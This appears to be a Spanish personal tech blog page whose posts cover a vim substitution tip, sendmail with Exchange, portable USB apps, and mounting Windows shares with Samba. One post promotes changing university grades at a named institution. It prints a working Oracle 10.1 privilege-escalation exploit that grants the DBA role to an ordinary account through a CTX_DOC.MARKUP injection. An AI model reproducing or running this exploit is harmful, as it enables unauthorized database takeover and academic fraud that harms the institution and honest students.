Vim buscar y remplazar
Escrito en: Linux, friki, howto - Comments (0)January 2, 2008
Filed under: Linux, friki, howto — Tags: howto, Linux, trucos, vi — druidacelta @ 10:34 am
Este es un apunte rápido. Mucha gente me dice que prefiere emacs en lugar de vim o vi, yo la verdad esque me defiendo mejor en vim, no es que lo prefiera a emacs, solamente es por costumbre.
La cuestión es que siempre me preguntan como hacer para cambiar en un texto varias lineas o para cambiar una palabra en concreto de varios puntos (algo fundamental cuando administras un sistema y tienes que buscar y remplazar)
Pues es sencillo tenemos que pasarte la orden %s es decir si queremos cambiar en un texto las palabras pepe por juan tendremos que hacer lo siguiente
:%s/pepe/juan
Es importante conocer que esto cambiaria pepe por juan, pero con pepeton haria juanton ;-)
Cambiando las notas de la universidad.
Escrito en: cheats, ciencia, friki, howto - Comments (10)October 26, 2007
Filed under: cheats, ciencia, friki, howto — druidacelta @ 10:45 am
Imaginemos que estamos estudiando en una universidad como la de Alcalá de Henares /uah.es y que somos estudiantes de una carrera (esto está claro sinó no seriamos universitarios) que llevamos más o menos, pero que siempre tenemos alguna asignatura que se nos atasca y no la damos sacado.
Que pasaria si se pudiera cambiar esa nota, eso que tanto hemos visto en películas y que tan bonito nos parece, de la noche a la mañana tener una carrera y ser licenciados (o diplomados que más da :-P )
Pues bien, hoy en dia todo se maneja con ordenadores, si tu cambias la información de una persona en un ordenador, crees que alguien se enteraria? y si ya eres un paranoico y las cambias justo el dia que salen? Crees que alguien se pararia a ver si en verdad esa persona tiene la nota que le puso su profesor. Estamos hablando de 1 alumno entre miles y 1 profesor entre cientos ;-)
Pues bien solo pretendo deciros que sí se puede hacer, que es posible sacarse una carrera y que el unico requisito ahoramismo es que esa nota esté en una base de datos manejada en oracle (justo como ocurre con la uah) y bueno tambien que seamos universitarios o conozcamos el usuario de alguien ( facil de conocer)
El caso, aquí un pequeño fallo que aprovechamos y con nuestro usuario normal nos damos permisos de dba y ala a cambiar notas :-)
select * from user_role_privs;
CREATE OR REPLACE FUNCTION HACKIT return varchar2
authid current_user as
pragma autonomous_transaction;
BEGIN
EXECUTE IMMEDIATE ‘grant dba to scott’;
COMMIT;
RETURN ”;
END;
/
set serveroutput on
create table mark_tab (id number primary key, text varchar2(80) );
insert into mark_tab values (’1′, ‘All your bases are belong to US’);
create index mark_tab_idx on mark_tab(text)
indextype is ctxsys.context parameters
(’filter ctxsys.null_filter’);
SET SERVEROUTPUT ON;
DECLARE
mklob CLOB;
amt NUMBER := 40;
line VARCHAR2(80);
BEGIN
CTX_DOC.MARKUP(’mark_tab_idx’,'1′,”||scott.HACKIT()||”, mklob);
DBMS_LOB.READ(mklob, amt, 1, line);
DBMS_OUTPUT.PUT_LINE(’QWRvcmUuVS5NeS5TdGFy’||line);
DBMS_LOB.FREETEMPORARY(mklob);
END;
/
select * from user_role_privs;
Se vió que funciona con oracle 10.1.0.2.0 y fue escrito por Alexandr “Sh2kerr” Polyakov
Configurar sendmail para enviar correos usando un servidor exchange en CentOS
Escrito en: Linux, Noteworthy, friki, howto - Comments (2)October 24, 2007
Filed under: Linux, Noteworthy, friki, howto — druidacelta @ 1:43 pm
La situación es la siguiente, imaginemos que tenemos una red interna del estilo host.domain.age y queremos enviar correos, logwach correos de root o de crontab a nuestro correo corporativo que es del estilo user@subdomain.domainII.es y OH CASUALIDAD este correo es virtual, no se puede hacer ping internamente (ni externamente a subdomain.domainII.es) porque no lo conoce ni el tato.
Pues este HOWTO o guia ;) explica como conseguir que estos correos funcionen usando sendmail, y claro está que salgan para un servidor exchange (windows 2003) que ya se encargará de mirar a que corresponde lo de subdomain.domainII.es
Aplicaciones portatiles para USB
Escrito en: friki, howto - Comments (1)September 6, 2007
Filed under: friki, howto — druidacelta @ 8:32 am
Durante la corta época que pasé en la universidad me di cuenta lo dificil que era instalar aplicaciones en el equipo que tenia, mucha gente queria instalar el msn y cosillas asi, yo necesita un putty o algo para hacer ftp o ssh desde mi máquina a los servidores unix donde haciamos las prácticas…
El caso, ahora con los usb mover la información es mucho más sencilla, pero que me decis si ademas podeis tener instalado en el usb las utilidades que en muchas ocasiones usais (Siempre Software Libre) y que justo llegais a la universidad / casa de un amigo y no teneis?… pues facil, existen desde hace ya algún tiempo las aplicaciones portatiles o portableapps para usb o pens o como querrais llamarlo.
A mi forma de entender no es más que una aplicación compilada en estático, pero algo más tiene que tener porque he mirado y funciona la misma aplicacion, en mi caso firefox y putty, en windows 2k o xp o 98.
En el salto de página pongo la lista con las más interesantes.
This is Sparta!
Escrito en: friki, howto, lego - Comments (5)July 2, 2007
Filed under: friki, howto, lego — druidacelta @ 6:42 am
Quizá la mejor frase de todos los tiempos del cine jejeje

HOWTO: Samba, accediendo a windows.
Escrito en: Linux, Noteworthy, howto - Comments (0)February 20, 2007
Filed under: Linux, Noteworthy, howto — druidacelta @ 9:14 am
Uno de los principales problemas que existe en Linux es el acceso a sistemas windows, por lo general siempre veo por los foros las tÃpicas preguntas:
- Como puedo acceder a una carpeta en windows
- Tengo un fichero en windows y quiero verlo en linux
- linux y windows a traves de samba
- Como conectar una unidad de red en linux.
Bueno, pues es mucho más facil de lo que pensais, no hace falta apenas conocimientos informaticos y gracias a las nuevas implementaciones del kernel de linux todo se limita a un simple comando.
Lo primero que necesitamos es saber como se llama nuestro windows y que carpeta tenemos compartida.
Mi PC -> Propiedades -> Identificación de Red
Obteniendo algo como PC_CASA
Pues bien, ahora usaremos el comando mount para acceder a dichos datos.
mount -t smbfs -o username=pepito  //PC_CASA/CARPETA /mnt/windows/
Es ahora cuando nos pedira la contraseña, en caso de que no tenga contraseña solo tendremos que dale a enter y según la mayor o menor carga de red terminará montando antes o despues dicha red.
A tener en cuenta:
- las barras en windows son invertidas (contrabarra) mientras que en linux usamos la barra normal (la que está encima del 7)
- si quieres poner dicho montaje en el arranque del sistema tienes que editarlo en el /etc/fstab y poner a mayores la opcion password=CONTRASEÑA. Como esto se un fallo de seguridad, porque el texto está visible lo normal es crear un usuario “generico” para el acceso a dicha carpeta.
Si trabajas con varios domÃnios puedes encontrarte con que al tratar de montar el punto sale un error del tipo.
10434: session setup failed: ERRDOS - ERRnoaccess (Access denied.)
SMB connection failed
Por lo normal el problema es que no sabe en que dominio o grupo de trabajo registrarse, es por ello que puedes usar la opción workgroup=GRUPO esto suele solucionar dicho problemilla tan poco explicito.
En resumidas cuentas tendria que quedar algo asi:
mount -t smbfs -o username=pepito,workgroup=GRUPOÂ Â //PC_CASA/CARPETA /mnt/windows/
Â






